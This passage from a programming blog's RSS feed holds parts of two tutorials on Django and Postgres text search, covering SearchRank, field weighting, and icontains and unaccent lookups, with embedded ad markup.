href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Search for the word &amp;#34;laptop&amp;#34; on amazon&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Search Rank allows you to sort user searches by relevance, so that your user finds exactly what they are looking for first and then everything else.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery, SearchRank, SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;days&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rank&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# 0.0607927&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... ts_rank(to_tsvector(COALESCE(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, )), plainto_tsquery(days)) AS &amp;#34;rank&amp;#34; FROM &amp;#34;videogame_videogame&amp;#34; ORDER BY &amp;#34;rank&amp;#34; DESC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Search Rank, with the help of the to_tsvector and plainto_tsquery function, will sort our search results according to the matches it finds between the vector and the query and **return each of the results of our query with a rank property that shows the value for its respective element.&lt;/p&gt;&#xA;&lt;h3 id=&#34;assign-importance-by-field&#34;&gt;Assign importance by field&lt;/h3&gt;&#xA;&lt;p&gt;In a search, not all fields should matter equally&lt;/p&gt;&#xA;&lt;p&gt;Imagine you have a database of books and a Book model with a “title” field and a “description” field. If a user searches for a book, it would be reasonable to assume that they are searching for the title. Based on the above, the correct thing to do would be to return books that contain their query in the title.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the user may be searching for some words they remember reading on the back cover, or they may be searching for anything that contains their query. We can also search the “description” field but with a lower weighting, showing them matches with the title first and then those that match the description.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750290636/coffee-bytes/search-weights-postgres-django_mix86s.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750290636/coffee-bytes/search-weights-postgres-django_mix86s.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Explanation of relevance according to the field&#34; width=&#34;1167&#34; height=&#34;483&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;With Posgres the above is possible.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we assign a weight, weighting, priority or whatever you want to call it, in the form of a letter, to each search vector, together with the name of the field to which it corresponds, and we join them into one.&lt;/p&gt;&#xA;&lt;p&gt;We can choose between the letters &amp;ldquo;A&amp;rdquo;, &amp;ldquo;B&amp;rdquo;, &amp;ldquo;C&amp;rdquo; and &amp;ldquo;D&amp;rdquo;. Each letter will have a different value of relevance in our search; &amp;ldquo;A&amp;rdquo; for the highest value and &amp;ldquo;D&amp;rdquo; for the lowest.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery, SearchRank, SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;title&amp;#39;&lt;/span&gt;, weight&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;descripcion&amp;#39;&lt;/span&gt;, weight&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Science fiction&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Book&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exactly they have the following values:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;D = 0.1&lt;/li&gt;&#xA;&lt;li&gt;C = 0.2&lt;/li&gt;&#xA;&lt;li&gt;B = 0.4&lt;/li&gt;&#xA;&lt;li&gt;A = 1.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These values can be overwritten to suit your needs, according to the type of business and models you use.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Book&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query), weights&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#ff9f43&#34;&gt;0.1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.9&lt;/span&gt;])&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the example above, I have rewritten the original values and decreased the values of the letters &amp;ldquo;D&amp;rdquo;, &amp;ldquo;C&amp;rdquo;, &amp;ldquo;B&amp;rdquo; so that they represent a much smaller percentage compared to the letter &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-libraries-for-advanced-searches&#34;&gt;Django Libraries for advanced searches&lt;/h2&gt;&#xA;&lt;p&gt;Perhaps your search needs are much more advanced than those provided by the Django ORM combined with Postgres. But, unless you are developing something that will revolutionize the search industry, someone has already gone through the same problem. There are generic solutions, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;Solr and Django-haystack&lt;/a&gt;&#xA;, that save you from writing many, many lines of code. Some examples are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://xapian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Xapian&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://whoosh.readthedocs.io/en/latest/intro.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Whoosh&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django haystack&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/etianen/django-watson&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Django watson&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;What if a user&amp;rsquo;s finger slips on the keyboard and types &amp;ldquo;parfume&amp;rdquo; instead of &amp;ldquo;perfume&amp;rdquo;. We probably don&amp;rsquo;t want our user to leave the site because he didn&amp;rsquo;t find any &amp;ldquo;parfume&amp;rdquo; on our website. Our website should return the results that most closely match what they are looking for. See how an experienced ecommerce handles it:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Search for the word &amp;#34;parfume&amp;#34; on amazon&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Don&amp;rsquo;t you remember the basic searches in Django? I have a post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/&#34;&gt;basic searches and full text search using Django and Postgres&lt;/a&gt;&#xA;, if you haven&amp;rsquo;t read it take a look there first.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Full text search and searches with Django and Postgres</title>
      <link>https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/</link>
      <pubDate>Thu, 06 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Sometimes when we type we make a mistake in a letter, we can repeat it, omit it or change it for another one. That mistake can lead to a series of different results in a web search, or even no results at all. Maybe for a blog it does not represent a threat, but for an ecommerce it can mean the loss of a sale, and for those stores with a huge traffic, a successful text search, either using full text search or something more complex, in Django or another framework, can represent the difference between losses or huge profits.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the most basic searches.&lt;/p&gt;&#xA;&lt;h2 id=&#34;contains-and-icontains-with-django-and-postgres&#34;&gt;contains and icontains with Django and Postgres&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django has a number of basic functions that allow you to search for an exact match of a text string.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__contains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;NIER&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet []&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...WHERE &amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;::text LIKE %NIER%&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But this will exclude the words &amp;ldquo;nier&amp;rdquo;, &amp;ldquo;Nier&amp;rdquo; and any other case differences. So we should perform a case insensitive search for these differences. Now it doesn&amp;rsquo;t matter if the user used upper or lower case. Notice how, internally, the SQL query returns all uppercase.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nier&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# nota la i, antes de contains&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...WHERE UPPER(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;::text) LIKE UPPER(%nier%)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But what if our search string has accents? A search for &amp;ldquo;nier&amp;rdquo; (without accent) will give us different results than &amp;ldquo;niér&amp;rdquo; (accented). Usually people on the internet do not take care of the correct accentuation of words. So, in order to return what they are looking for, it is necessary to create a search in which the correct accentuation is irrelevant.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tekkén&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet []&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__unaccent__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tekkén&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora no importa que la palabra esté acentuada&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Tekken&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...WHERE UPPER(UNACCENT(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;)::text) LIKE &amp;#39;%&amp;#39; || UPPER(REPLACE(REPLACE(REPLACE(UNACCENT(tekkén), E&amp;#39;\\&amp;#39;, E&amp;#39;\\\\&amp;#39;), E&amp;#39;%&amp;#39;, E&amp;#39;\\%&amp;#39;), E&amp;#39;_&amp;#39;, E&amp;#39;\\_&amp;#39;)) || &amp;#39;%&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you got an error when you ran the above search, it is because you have not installed the &lt;em&gt;unnacent&lt;/em&gt; extension. Let&amp;rsquo;s install it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-install-postgres-extensions-in-django&#34;&gt;How to install Postgres extensions in Django?&lt;/h2&gt;&#xA;&lt;h3 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h3&gt;&#xA;&lt;p&gt;Have psycopg2 and its dependencies installed in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;your virtual environment (Pipenv)&lt;/a&gt;&#xA;, uv or whatever you like.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install psycopg2 &lt;span style=&#34;color:#78787e&#34;&gt;# You can also use 